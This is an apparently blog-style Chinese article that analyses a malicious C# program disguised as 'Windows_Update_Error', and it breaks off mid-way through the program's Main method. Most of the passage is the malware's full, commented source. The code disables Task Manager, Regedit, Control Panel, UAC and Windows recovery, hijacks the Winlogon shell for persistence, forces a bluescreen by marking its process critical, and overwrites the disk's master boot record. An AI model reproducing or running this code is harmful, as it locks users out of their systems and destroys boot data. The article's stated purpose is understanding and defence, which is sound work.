深度解析恶意 C# 程序:从代码看其危害与原理
了解恶意程序的运作方式,有助于我们更好地防范风险。今天我们就来深度解析一段用 C# 编写的恶意程序代码,揭开其神秘面纱。
一、代码结构总览
这段恶意程序代码涵盖多个类,主要包括 Regedit_Set
、Test
、Key_Decrypt
、Program
、Form2
和 Form3
等类,通过操作注册表、修改系统关键设置、破坏主引导记录(MBR)等手段来达到破坏系统正常运行的目的。
二、核心类及方法详解
(一)Regedit_Set
类
代码实现
using Microsoft.Win32;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Reflection;
using System.Text;
using System.IO;
using System.Threading.Tasks;
using System.Diagnostics;
namespace Windows_Update_Error
{
// 这个类包含了用于操作Windows注册表的多个方法,以实现各种系统相关设置的调整功能
internal class Regedit_Set
{
// 用于禁用系统设置相关功能的方法,通过在注册表中创建相应键值来实现禁用控制面板和任务管理器的功能
public void Disable_Settings(int a = 1)
{
// 获取当前用户的注册表根键,后续操作将基于此根键展开
RegistryKey key = Registry.CurrentUser;
// 在当前用户的注册表中创建或打开用于存储资源管理器策略相关的子键,路径为 @"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
RegistryKey software = key.CreateSubKey(@"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer");
// 在上述创建或打开的子键下设置名为 "NoControlPanel" 的值,参数a的值决定了该设置的状态(默认为1,通常用于表示启用或禁用的相关设置值),以此来禁用控制面板
software.SetValue("NoControlPanel", a);
// 在当前用户的注册表中创建或打开用于存储系统策略相关的子键,路径为 @"Software\Microsoft\Windows\CurrentVersion\Policies\System"
software = key.CreateSubKey(@"Software\Microsoft\Windows\CurrentVersion\Policies\System");
// 在上述创建或打开的子键下设置名为 "DisableTaskMgr" 的值,参数a的值决定了该设置的状态(默认为1,通常用于表示启用或禁用的相关设置值),以此来禁用任务管理器
software.SetValue("DisableTaskMgr", a);
// 关闭之前打开的注册表子键,释放相关资源
software.Close();
// 关闭当前用户的注册表根键,释放相关资源
key.Close();
}
// 用于禁用注册表编辑器的方法,通过在注册表中创建相应键值来阻止用户访问注册表编辑器
public void Disable_Regedit(int a = 1)
{
// 获取当前用户的注册表根键,后续操作将基于此根键展开
RegistryKey key = Registry.CurrentUser;
// 在当前用户的注册表中打开或创建用于存储系统策略相关的子键(并赋予写权限),路径为 @"Software\Microsoft\Windows\CurrentVersion\Policies\System"
RegistryKey software = key.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Policies\System", true);
// 如果打开的子键为空(即不存在该子键),则创建该子键
if (software == null)
{
software = key.CreateSubKey(@"Software\Microsoft\Windows\CurrentVersion\Policies\System");
}
// 在上述创建或打开的子键下设置名为 "DisableRegistryTools" 的值,参数a的值决定了该设置的状态(默认为1,通常用于表示启用或禁用的相关设置值),以此来禁用注册表编辑器
software.SetValue("DisableRegistryTools", a);
// 关闭之前打开的注册表子键,释放相关资源
software.Close();
// 关闭当前用户的注册表根键,释放相关资源
key.Close();
}
// 用于向与程序启动相关的文件中写入数据的方法,会创建或覆盖指定文件,并将传入的数据写入其中
public void Start_Update(string a)
{
try
{
// 创建一个StreamWriter对象,用于向指定文件写入数据,文件名为 "Error_m1.txt",如果文件已存在则覆盖原有内容,编码格式采用UTF8
StreamWriter writer = new StreamWriter("Error_m1.txt", false, Encoding.UTF8);
// 将传入的数据写入到文件中
writer.Write(a);
// 刷新缓冲区,确保数据真正写入到文件中
writer.Flush();
// 关闭StreamWriter对象,释放相关资源
writer.Close();
}
catch (Exception ex)
{
// 如果在写入文件过程中出现异常,弹出消息框显示异常信息
MessageBox.Show(ex.Message);
}
}
// 用于从与程序启动相关的文件中读取数据的方法,会先检查文件是否存在,若存在则读取其内容,若不存在则创建文件并写入默认值后再读取
public string Start_Detection()
{
// 定义要操作的文件路径,此处为 "Error_m1.txt"
string path = "Error_m1.txt";
// 创建一个FileInfo对象,用于检查文件是否存在
FileInfo fileInfo = new FileInfo(path);
// 如果文件不存在
if (fileInfo.Exists == false)
{
try
{
// 创建一个StreamWriter对象,用于向指定文件写入数据,文件名为 "Error_m1.txt",覆盖原有内容(因为第二个参数为false),编码格式采用UTF8
StreamWriter writer = new StreamWriter(path, false, Encoding.UTF8);
// 向文件中写入默认值 "114514"
writer.Write("114514");
// 刷新缓冲区,确保数据真正写入到文件中
writer.Flush();
// 关闭StreamWriter对象,释放相关资源
writer.Close();
}
catch (Exception ex)
{
// 如果在写入文件过程中出现异常,弹出消息框显示异常信息
MessageBox.Show(ex.Message);
}
}
// 创建一个StreamReader对象,用于从指定文件读取数据,文件名为 "Error_m1.txt",编码格式采用UTF8
StreamReader sr = new StreamReader(path, Encoding.UTF8);
// 读取文件中的全部内容
string read = sr.ReadToEnd();
// 关闭StreamReader对象,释放相关资源
sr.Close();
// 返回读取到的数据
return read;
}
// 用于关闭用户账户控制(UAC)功能的方法,通过修改注册表中的相应值来实现关闭UAC的操作
public void UAC_OFF()
{
// 获取本地计算机的注册表根键,后续操作将基于此根键展开
RegistryKey key = Registry.LocalMachine;
// 在本地计算机的注册表中打开或创建用于存储系统策略相关的子键(并赋予写权限),路径为 @"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"
RegistryKey software = key.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", true);
// 如果打开的子键为空(即不存在该子键),则创建该子键
if (software == null)
{
software = key.CreateSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System");
}
// 在上述创建或打开的子键下设置名为 "EnableLUA" 的值为0,以此来关闭用户账户控制(UAC)功能
software.SetValue("EnableLUA", 0);
// 关闭之前打开的注册表子键,释放相关资源
software.Close();
// 关闭本地计算机的注册表根键,释放相关资源
key.Close();
}
// 用于将程序设置为随系统启动自动运行的方法,通过修改Winlogon进程相关的注册表键值,将程序的路径设置为系统启动时的外壳(shell)程序
public static string Local_1 = Process.GetCurrentProcess().MainModule.FileName;
public void PC_Start(string a)
{
try
{
// 获取当前进程的路径,后续可能用于设置为系统启动项相关的路径
// 打开本地计算机注册表中与Winlogon进程相关的子键,路径为 @"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon",并赋予写权限,方便后续修改键值
RegistryKey key = Registry.LocalMachine;
RegistryKey software = key.OpenSubKey(@"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", true);
// 如果打开的子键为空(即不存在该子键),则创建该子键
if (software == null)
{
software = key.CreateSubKey(@"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon");
}
// 在上述创建或打开的子键下设置名为 "Shell" 的值为传入的参数a所代表的路径,以此将程序设置为随系统启动自动运行
software.SetValue("Shell", a);
// 关闭之前打开的注册表子键,释放相关资源
software.Close();
// 关闭本地计算机的注册表根键,释放相关资源
key.Close();
}
catch (Exception ex)
{
// 如果在设置过程中出现异常,弹出消息框显示异常信息
MessageBox.Show(ex.Message);
}
}
// 用于启用或禁用Windows相关功能限制的方法,根据传入的布尔值参数来决定是添加还是删除相应的注册表键值,以实现限制或解除限制的功能
public void Disable_Windows(bool x)
{
// 如果传入的参数x为true,启用Windows功能限制
if (x == true)
{
// 获取当前用户的注册表根键,后续操作将基于此根键展开
RegistryKey registryKey = Registry.CurrentUser;
// 在当前用户的注册表中创建用于存储资源管理器策略相关的子键,路径为 @"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
RegistryKey registryKey1 = registryKey.CreateSubKey(@"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer");
// 在上述创建的子键下设置名为 "RestrictRun" 的值为1,用于开启对可运行程序的限制功能
registryKey1.SetValue("RestrictRun", 1);
// 在当前用户的注册表中创建用于存储资源管理器策略下RestrictRun相关的子键,路径为 @"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun"
registryKey1 = registryKey.CreateSubKey(@"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun");
// 在上述创建的子键下设置一个以当前进程名称为键名和值的键值对,具体作用可能与限制当前程序的运行等相关(具体需结合实际使用场景)
registryKey1.SetValue(Process.GetCurrentProcess().ProcessName + ".exe", Process.GetCurrentProcess().ProcessName + ".exe");
// 关闭之前打开的注册表子键,释放相关资源
registryKey1.Close();
// 关闭当前用户的注册表根键,释放相关资源
registryKey.Close();
}
// 如果传入的参数x为false,解除Windows功能限制
if (x == false)
{
// 获取当前用户的注册表根键,后续操作将基于此根键展开
RegistryKey registryKey = Registry.CurrentUser;
// 在当前用户的注册表中创建用于存储资源管理器策略相关的子键,路径为 @"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
RegistryKey registryKey1 = registryKey.CreateSubKey(@"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer");
// 删除名为 "RestrictRun" 的注册表键值,以此解除对可运行程序的限制功能
registryKey1.DeleteValue("RestrictRun");
// 关闭之前打开的注册表子键,释放相关资源
registryKey1.Close();
// 关闭当前用户的注册表根键,释放相关资源
registryKey.Close();
}
}
}
}
Disable_Settings
方法:
功能:用于禁用系统设置相关功能,通过在注册表中创建相应键值来实现禁用控制面板和任务管理器的功能。
实现细节:首先获取当前用户的注册表根键 Registry.CurrentUser
,接着在该根键下创建或打开用于存储资源管理器策略相关的子键 @"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
,并设置名为 "NoControlPanel"
的值,参数 a
(默认为 1)决定该设置的状态,以此禁用控制面板。类似地,在 @"Software\Microsoft\Windows\CurrentVersion\Policies\System"
子键下设置 "DisableTaskMgr"
值来禁用任务管理器。最后关闭打开的注册表子键和根键,释放资源。
Disable_Regedit
方法:
功能:阻止用户访问注册表编辑器。
实现:同样以当前用户注册表根键为起点,打开或创建 @"Software\Microsoft\Windows\CurrentVersion\Policies\System"
子键(赋予写权限),若子键不存在则创建,然后设置 "DisableRegistryTools"
值为 a
(默认为 1),完成后关闭子键和根键。
Start_Update
方法:
功能:向与程序启动相关的文件中写入数据。
流程:尝试创建一个 StreamWriter
对象,指定文件名为 "Error_m1.txt"
,编码格式为 UTF8
,若文件已存在则覆盖原有内容。将传入的数据写入文件,通过 Flush
确保数据真正写入磁盘,最后关闭 StreamWriter
对象。
Start_Detection
方法:
功能:从与程序启动相关的文件中读取数据。
步骤:先定义文件路径 "Error_m1.txt"
,创建 FileInfo
对象检查文件是否存在。若不存在,创建 StreamWriter
写入默认值 "114514"
;若存在,创建 StreamReader
按 UTF8
编码读取文件全部内容,最后关闭 StreamReader
并返回读取的数据。
UAC_OFF
方法:
功能:关闭用户账户控制(UAC)功能。
操作:以本地计算机注册表根键 Registry.LocalMachine
为基础,打开或创建 @"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"
子键(赋予写权限),设置 "EnableLUA"
值为 0,关闭子键和根键。
PC_Start
方法:
功能:将程序设置为随系统启动自动运行。
过程:获取当前进程路径,打开本地计算机注册表中与 Winlogon
进程相关的子键 @"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
(赋予写权限),若子键不存在则创建,设置 "Shell"
值为传入的参数 a
所代表的路径,通常为程序自身路径,最后关闭子键和根键。若设置过程出错,弹出消息框显示异常信息。
Disable_Windows
方法:
功能:启用或禁用 Windows 相关功能限制。
逻辑:当传入参数 x
为 true
时,获取当前用户注册表根键,创建 @"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
子键,设置 "RestrictRun"
值为 1 开启对可运行程序的限制,再创建 @"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun"
子键,设置以当前进程名称为键名和值的键值对,限制除自身之外所有软件的运行;当 x
为 false
时,删除 "RestrictRun"
键值解除限制,最后关闭相关子键和根键。
(二)Test
类
代码实现
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
namespace Windows_Update_Error
{
// 此类包含了被恶意程序使用的与系统级别操作相关的多个方法
public class Test
{
// 从kernel32.dll中导入CreateFileA函数,此函数用于创建或打开文件或I/O设备。
// 将SetLastError设置为true,意味着当出现错误时能够获取详细的错误信息。
[DllImport("kernel32.dll", SetLastError = true)]
// 定义一个外部函数,用于创建或打开文件。
// 参数lpFileName:要创建或打开的文件或设备的名称。
// 参数dwDesiredAccess:对文件或设备期望的访问权限。
// 参数dwShareMode:文件或设备的共享模式。
// 参数lpSecurityAttributes:指向SECURITY_ATTRIBUTES结构的指针,用于确定文件或设备的安全属性。
// 参数dwCreationDisposition:当文件或设备存在与否时应采取的操作。
// 参数dwFlagsAndAttributes:文件或设备的属性及标志。
// 参数hTemplateFile:指向模板文件的句柄(若适用)。
private static extern IntPtr CreateFileA(string lpFileName, uint dwDesiredAccess, uint dwShareMode, uint lpSecurityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile);
// 从kernel32.dll中导入WriteFile函数,该函数用于向文件写入数据。
[DllImport("kernel32.dll", SetLastError = true)]
// 定义一个外部函数,用于向文件写入数据。
// 参数hFile:要写入数据的文件句柄。
// 参数lpBuffer:指向包含要写入数据的缓冲区的指针。
// 参数nNumberOfBytesToWrite:要从缓冲区写入的字节数。
// 参数lpNumberOfBytesWritten:指向一个变量的指针,该变量用于接收实际写入的字节数。
// 参数lpOverlapped:指向OVERLAPPED结构的指针(若适用)。
private static extern bool WriteFile(IntPtr hFile, byte[] lpBuffer, int nNumberOfBytesToWrite, ref int lpNumberOfBytesWritten, IntPtr lpOverlapped);
// 定义文件共享和访问权限相关的常量
private const int File_Share_Read = 0x00000001;
private const int File_Share_Write = 0x00000002;
private const uint Generic_Read = 0x80000000;
private const uint Generic_Write = 0x40000000;
private const int Open_Existing = 3;
// 从ntdll.dll中导入NtSetInformationProcess函数,此函数用于设置进程相关的信息。
[DllImport("ntdll.dll", SetLastError = true)]
// 定义一个外部函数,用于设置进程信息。
// 参数hProcess:进程的句柄。
// 参数processInformationClass:要设置的进程信息类型。
// 参数processInformation:指向包含要设置的进程信息的缓冲区的指针。
// 参数processInformationLength:进程信息缓冲区的长度。
public static extern int NtSetInformationProcess(IntPtr hProcess, int processInformationClass, ref int processInformation, int processInformationLength);
// 用于触发蓝屏的方法,将当前进程标记为关键进程后退出应用程序,此操作会导致系统崩溃并出现蓝屏。
public void Nt_Error()
{
// 定义表示进程为关键进程的值,此处1表示进程是关键的
int isCritical = 1;
// 定义用于表示BreakOnTermination的进程信息类的值,此处29代表该特定的进程信息类别
int BreakOnTermination = 29;
// 使用NtSetInformationProcess函数将当前进程标记为关键进程,传递当前进程的句柄、对应的进程信息类、表示关键进程的变量引用以及变量大小(以字节为单位)作为参数
NtSetInformationProcess(Process.GetCurrentProcess().Handle, BreakOnTermination, ref isCritical, sizeof(int));
// 退出应用程序
Application.Exit();
}
// 用于修改主引导记录(MBR)的方法,构造恶意的MBR数据缓冲区并尝试将其写入磁盘,修改MBR可能导致系统无法正常启动。
public void killmbr()
{
// 以下字节数组表示恶意的MBR数据内容
byte[] mbr1 = { 0xE8, 0x02, 0x00, 0xEB, 0xFE, 0xBD, 0x17, 0x7C, 0xB9, 0x03, 0x00, 0xB8, 0x01, 0x13, 0xBB, 0x0C, 0x00, 0xBA, 0x1D, 0x0E, 0xCD, 0x10, 0xC3, 0x54, 0x76, 0x54 };
// 创建一个新的字节数组,其大小为标准的MBR大小(512字节),用于存储完整的MBR数据
byte[] mbrdata = new byte[512];
// 将恶意的MBR数据复制到新创建的数组中,循环遍历恶意MBR数据的每个元素进行复制
for (int i = 0; i < mbr1.Length; i++)
{
mbrdata[i] = mbr1[i];
}
// 在数组末尾设置所需的MBR签名字节,这是符合MBR格式规范的必要操作
mbrdata[510] = 0x55;
mbrdata[511] = 0xAA;
// 物理驱动器的路径,此处表示第一个物理硬盘驱动器
string Path = @"\\.\PhysicalDrive0";
// 使用FileStream以读写模式打开物理驱动器作为文件流,允许同时进行读和写操作
using (FileStream file = new FileStream(Path, FileMode.Open, FileAccess.ReadWrite, FileShare.ReadWrite))
{
// 将构造好的恶意MBR数据写入物理驱动器,写入从索引0开始,写入的字节数为512字节
file.Write(mbrdata, 0, 512);
}
}
// 另一个用于修改主引导记录(MBR)的方法,使用Windows API调用实现,功能与killmbr类似,但实现方式不同。
public int killmbrA()
{
// 用于存储实际写入字节数的变量
int write = 0;
// 表示空指针值的常量
uint NULL = 0;
// 恶意的MBR数据内容
byte[] mbr1 = { 0xE8, 0x02, 0x00, 0xEB, 0xFE, 0xBD, 0x17, 0x7C, 0xB9, 0x03, 0x00, 0xB8, 0x01, 0x13, 0xBB, 0x0C, 0x00, 0xBA, 0x1D, 0x0E, 0xCD, 0x10, 0xC3, 0x54, 0x76, 0x54 };
// 创建一个新的字节数组,其大小为标准的MBR大小(512字节),用于存储完整的MBR数据
byte[] mbrdata = new byte[512];
// 将恶意的MBR数据复制到新创建的数组中,循环遍历恶意MBR数据的每个元素进行复制
for (int i = 0; i < mbr1.Length; i++)
{
mbrdata[i] = mbr1[i];
}
// 在数组末尾设置所需的MBR签名字节,这是符合MBR格式规范的必要操作
mbrdata[510] = 0x55;
mbrdata[511] = 0xAA;
// 使用CreateFileA函数打开物理驱动器,传递驱动器路径、读写访问权限、共享模式、空指针、打开模式(以存在的文件打开)、空属性以及空模板文件句柄等参数
IntPtr mbr = CreateFileA(@"\\.\PhysicalDrive0",
Generic_Read | Generic_Write,
File_Share_Read | File_Share_Write,
NULL, Open_Existing, NULL, 0);
// 使用WriteFile函数将构造好的恶意MBR数据写入物理驱动器,传递文件句柄、MBR数据数组、要写入的字节数、实际写入字节数的引用以及空指针等参数,并将返回结果存储在变量x中
bool x = WriteFile(mbr, mbrdata, 512, ref write, 0);
// 检查写入操作是否成功,如果成功(x为true)
if (x != false)
{
// 返回1表示写入操作成功
return 1;
}
else
{
// 返回 -1表示写入操作失败
return -1;
}
}
// 用于重启计算机的方法,执行带有 /r(重启)选项和0秒延迟的关机命令,实现计算机的重启功能。
public void Shutdown_PC()
{
Process.Start("shutdown", "/r /t 0");
}
// 用于禁用Windows恢复环境(Windows_RE)的方法,执行带有 /disable选项的reagentc命令,以此来禁用Windows恢复环境。
public void Disable_WinRE()
{
Process.Start("reagentc", "/disable");
}
// 用于获取主引导记录(MBR)数据的方法,尝试从物理驱动器读取MBR数据,如果不存在则先从物理驱动器读取并保存到本地文件,然后再从本地文件读取返回,若已存在则直接从本地文件读取返回。
public static byte[] GetMbr()
{
// 物理驱动器的路径,此处表示第一个物理硬盘驱动器
string path = @"\\.\PhysicalDrive0";
// 创建一个大小为512字节的字节数组,用于存储读取到的MBR数据
byte[] mbr = new byte[512];
// 创建一个表示C:\bin目录的DirectoryInfo对象,后续用于操作该目录相关事宜
DirectoryInfo directory = new DirectoryInfo(@"C:\bin");
// 创建C:\bin目录,如果该目录不存在的话
directory.Create();
// 创建一个表示C:\bin\mbr.bin文件的FileInfo对象,后续用于操作该文件相关事宜
FileInfo file = new FileInfo(@"C:\bin\mbr.bin");
// 如果mbr.bin文件不存在
if (file.Exists == false)
{
// 使用FileStream以读写模式打开物理驱动器作为文件流,允许同时进行读和写操作
using (FileStream fileStream = new FileStream(path, FileMode.Open, FileAccess.ReadWrite, FileShare.ReadWrite))
{
// 从物理驱动器的文件流中读取MBR数据到mbr数组中,从索引0开始,读取的字节数为512字节
fileStream.Read(mbr, 0, 512);
}
// 使用FileStream以打开或创建模式打开C:\bin\mbr.bin文件作为文件流,允许同时进行读和写操作
using (FileStream fileStream1 = new FileStream(@"C:\bin\mbr.bin", FileMode.OpenOrCreate, FileAccess.ReadWrite, FileShare.ReadWrite))
{
// 将读取到的MBR数据写入到mbr.bin文件中,从索引0开始,写入的字节数为512字节
fileStream1.Write(mbr, 0, 512);
}
// 将mbr数组中的每个元素都设置为0,清空数组内容(可能用于后续特定逻辑)
for (int i = 0; i < 512; i++)
{
mbr[i] = 0;
}
}
// 使用FileStream以打开模式打开C:\bin\mbr.bin文件作为文件流,允许同时进行读和写操作
using (FileStream fileStream2 = new FileStream(@"C:\bin\mbr.bin", FileMode.Open, FileAccess.ReadWrite, FileShare.ReadWrite))
{
// 从mbr.bin文件的文件流中读取MBR数据到mbr数组中,从索引0开始,读取的字节数为512字节
fileStream2.Read(mbr, 0, 512);
}
// 返回获取到的MBR数据数组
return mbr;
}
// 用于将传入的MBR数据写入物理驱动器的方法,打开物理驱动器并将传入的MBR数据写入其中。
public void WriteMbr(byte[] mbr)
{
// 物理驱动器的路径,此处表示第一个物理硬盘驱动器
string path = @"\\.\PhysicalDrive0";
// 使用FileStream以打开模式打开物理驱动器作为文件流,允许同时进行读和写操作
using (FileStream fileStream = new FileStream(path, FileMode.Open, FileAccess.ReadWrite, FileShare.ReadWrite))
{
// 将传入的MBR数据写入物理驱动器的文件流中,从索引0开始,写入的字节数为512字节
fileStream.Write(mbr, 0, 512);
}
}
// 用于生成随机密钥的静态方法,通过随机选择字符组成指定长度的字符串作为密钥。
public static string Random_Key()
{
// 创建一个Random对象,用于生成随机数
Random random = new Random();
// 将包含大小写字母和数字的字符串转换为字符数组,作为生成密钥的字符来源
char[] KEYChar = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz123456789".ToCharArray();
// 创建一个长度为27的字符数组,用于存储生成的密钥字符
char[] Key = new char[27];
// 循环27次,每次生成一个随机索引,从KEYChar字符数组中选取对应字符放入Key数组中,以此构建密钥字符串
for (int i = 0; i < 27; i++)
{
int index = random.Next(0, KEYChar.Length);
Key[i] = KEYChar[index];
}
// 将生成的字符数组转换为字符串并返回,作为随机生成的密钥
return new string(Key);
}
}
}
Nt_Error
方法:
功能:触发蓝屏,使系统崩溃。
原理:从 ntdll.dll
中导入 NtSetInformationProcess
函数,先定义表示进程为关键进程的值(如 1)和表示 BreakOnTermination
的进程信息类的值(如 29),然后使用 NtSetInformationProcess
函数将当前进程标记为关键进程,传递当前进程句柄、对应进程信息类、关键进程变量引用及变量大小作为参数,最后调用 Application.Exit()
退出应用程序,导致系统因关键进程异常终止而蓝屏。
killmbr
方法:
功能:修改主引导记录(MBR),使系统无法正常启动。
步骤:定义恶意的 MBR 数据字节数组,创建一个标准 512 字节大小的新数组,将恶意数据复制进去,在数组末尾设置 MBR 签名字节(0x55 和 0xAA),这是 MBR 格式规范要求。接着以读写模式打开物理驱动器 @"\\.\PhysicalDrive0"
作为文件流,将构造好的恶意 MBR 数据写入物理驱动器,写入从索引 0 开始,字节数为 512 字节。
killmbrA
方法:
功能:与 killmbr
类似,也是修改 MBR,不过使用 Windows API 调用实现。
流程:先定义用于存储实际写入字节数的变量和表示空指针值的常量,准备恶意 MBR 数据字节数组并构建完整 512 字节的 MBR 数据数组。使用 CreateFileA
函数打开物理驱动器,传递驱动器路径、读写访问权限、共享模式等参数,获取文件句柄。再用 WriteFile
函数将 MBR 数据写入物理驱动器,传递文件句柄、MBR 数据数组、要写入字节数、实际写入字节数引用及空指针等参数,根据写入结果返回 1(成功)或 -1(失败)。
Shutdown_PC
方法:
功能:重启计算机。
实现:执行带有 /r
(重启)选项和 0 秒延迟的关机命令,即 Process.Start("shutdown", "/r /t 0");
,利用系统自带关机命令实现重启。
Disable_WinRE
方法:
功能:禁用 Windows 恢复环境(Windows_RE)。
操作:执行带有 /disable
选项的 reagentc
命令,即 Process.Start("reagentc", "/disable");
,阻止用户通过恢复环境修复系统。
GetMbr
方法:
功能:获取主引导记录(MBR)数据。
逻辑:定义物理驱动器路径 @"\\.\PhysicalDrive0"
,创建 512 字节大小的字节数组用于存储 MBR 数据。若 C:\bin\mbr.bin
文件不存在,先以读写模式打开物理驱动器文件流读取 MBR 数据到数组,再以打开或创建模式打开 mbr.bin
文件流,将读取的 MBR 数据写入该文件,最后清空数组;若文件已存在,直接以打开模式打开 mbr.bin
文件流读取 MBR 数据到数组,最后返回获取到的 MBR 数据数组。
WriteMbr
方法:
功能:将传入的 MBR 数据写入物理驱动器。
步骤:指定物理驱动器路径 @"\\.\PhysicalDrive0"
,以打开模式打开物理驱动器文件流,将传入的 MBR 数据从索引 0 开始,写入 512 字节。
Random_Key
方法:
功能:生成随机密钥。
原理:创建 Random
对象用于生成随机数,将包含大小写字母和数字的字符串转换为字符数组作为密钥字符来源,创建一个长度为 27 的字符数组用于存储生成的密钥字符。循环 27 次,每次生成一个随机索引,从字符来源数组中选取对应字符放入密钥字符数组,最后将字符数组转换为字符串返回。
(三)Key_Decrypt
类
代码实现
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Windows_Update_Error
{
// 定义一个名为Key_Decrypt的内部类,该类主要用于对密钥进行解密相关的操作
internal class Key_Decrypt
{
// 私有字段,用于存储传入的待处理的密钥字符串
private string _key;
// 定义一个字符数组,存储用于加密的字符集合,包含大小写字母和数字,用于后续查找对应索引等操作
private char[] Encrypt = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz123456789".ToCharArray();
// 定义一个字符数组,存储用于解密的字符集合,与Encrypt数组中的字符有对应关系,用于根据索引获取解密后的字符
private char[] Decrypt = "fG93p8qXWbLz2vHtU6Sj1rIeCkY4oADmNw5aRQOPcxZJghuMn7siyBdTlfK0V".ToCharArray();
// Key_Decrypt类的构造函数,接收一个字符串类型的参数key,用于初始化类中的_key字段,即将传入的密钥保存起来以便后续处理
public Key_Decrypt(string key)
{
_key = key;
}
// 定义一个名为GetDecryptKey的方法,该方法的主要功能是根据既定的加密、解密字符对应关系,对_key字段存储的密钥进行解密操作,并返回解密后的密钥字符串
public string GetDecryptKey()
{
// 将_key字符串转换为字符数组,方便逐个字符进行处理
char[] Char_key = _key.ToCharArray();
// 创建一个新的字符数组,用于存储解密后的字符,其长度与传入的密钥字符数组长度一致
char[] Char_Decrypt_key = new char[Char_key.Length];
// 定义一个变量,用于记录在加密字符数组中查找对应字符时的索引位置
int index;
// 循环遍历传入密钥的每个字符,进行解密操作
for (int i = 0; i < Char_key.Length; i++)
{
// 在加密字符数组Encrypt中查找当前字符的索引位置,如果找到则返回对应的索引值,否则返回 -1
index = Array.IndexOf(Encrypt, Char_key[i]);
// 如果找到的索引值大于等于0(表示找到了对应字符)并且该索引值小于解密字符数组Decrypt的长度,说明可以进行解密替换操作
if (index >= 0 && index < Decrypt.Length)
{
// 将解密字符数组中对应索引位置的字符赋值给用于存储解密后字符的数组,实现当前字符的解密
Char_Decrypt_key[i] = Decrypt[index];
}
else
{
// 如果在加密字符数组中未找到对应字符(可能是特殊字符等情况),则直接将原字符赋值给解密后的字符数组,保持原样
Char_Decrypt_key[i] = Char_key[i];
}
}
// 将解密后的字符数组转换为字符串,并返回该字符串,即得到最终的解密密钥
return new string(Char_Decrypt_key);
}
}
}
GetDecryptKey
方法:
功能:对密钥进行解密操作。
实现:接收一个待解密的密钥字符串,将其转换为字符数组。创建用于存储解密后字符的新数组,长度与传入密钥字符数组一致。循环遍历传入密钥的每个字符,在加密字符数组 Encrypt
中查找当前字符的索引位置,若找到且该索引在解密字符数组 Decrypt
长度范围内,将解密字符数组中对应索引位置的字符赋值给解密后字符数组,否则保持原字符不变。最后将解密后字符数组转换为字符串返回。
(四)Program
类
代码实现
using System.Diagnostics;
using System.Security.Cryptography.X509Certificates;
using System.Security.Principal;
namespace Windows_Update_Error
{
public static class Program
{
// 定义一个字节数组,用于存储主引导记录(MBR)相关的数据,后续在程序流程中根据相应条件进行赋值与使用
public static byte[] MBR;
/// <summary>
/// 应用程序的主入口点,程序将从这里开始执行,在此协调与系统配置及功能调整相关的各类操作,按照既定逻辑依次调用相关方法来实现不同功能。
/// </summary>
[STAThread]
static void Main()
{
// 初始化应用程序的配置信息,这是保障应用程序能正常加载并依据配置运行的基础步骤
ApplicationConfiguration.Initialize();
// 创建Regedit_Set类的实例,此类封装了与系统注册表相关操作的逻辑,该实例用于执行注册表设置以及系统启动配置相关操作
Regedit_Set regedit1 = new Regedit_Set();
// 创建Test类的实例,该类负责执行诸如禁用特定Windows功能、处理电脑关机或重启等各类测试及具体操作
Test test1 = new Test();
// 调用regedit1对象的Start_Detection方法获取启动码,此启动码用于后续程序逻辑中的条件判断,决定程序执行不同分支路径
string regedit1_Start = regedit1.Start_Detection();
try
{
// 调用regedit1对象的PC_Start方法,该方法负责将程序添加到电脑开机启动项中,同时按照程序要求对关键系统启动设置进行相应修改
regedit1.PC_Start(Regedit_Set.Local_1);
// 调用test1对象的Disable_WinRE方法,此方法用于禁用Windows恢复环境,使得用户无法通过常规途径访问系统恢复选项
test1.Disable_WinRE();
// 调用regedit1对象的Disable_Regedit方法,用于禁止用户对系统注册表进行访问,以此保护注册表完整性,防止未经授权的更改
regedit1.Disable_Regedit();
// 调用regedit1对象的Disable_Windows方法并传入true,其功能是按照程序设定对Windows系统的相关功能进行禁用,具体被禁用的功能由该方法内部实现决定
regedit1.Disable_Windows(true);
}
catch (Exception ex)
{
// 若上述操作出现异常,此代码块捕获异常,并通过弹出消息框显示错误消息,消息框含“确定”按钮及错误图标,提示用户出现问题
MessageBox.Show(ex.Message, "错误", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
// 调用regedit1对象的UAC_OFF方法,该方法用于关闭用户账户控制(UAC)功能,关闭后会改变系统安全提示及部分用户操作的访问权限级别
regedit1.UAC_OFF();
// 调用regedit1对象的Disable_Settings方法,此方法用于禁用用户对系统设置和任务管理器的访问,限制用户修改系统配置及管理正在运行的进程
regedit1.Disable_Settings();
if (regedit1_Start == "114514")
{
// 当启动码为"114514"时,将启动码的值修改为"4397382",后续依据此新值进行相应操作
regedit1_Start = "4397382";
// 调用regedit1对象的Start_Update方法,传入修改后的启动码,用于启动特定的系统更新相关操作,具体更新内容由该方法内部逻辑决定
regedit1.Start_Update(regedit1_Start);
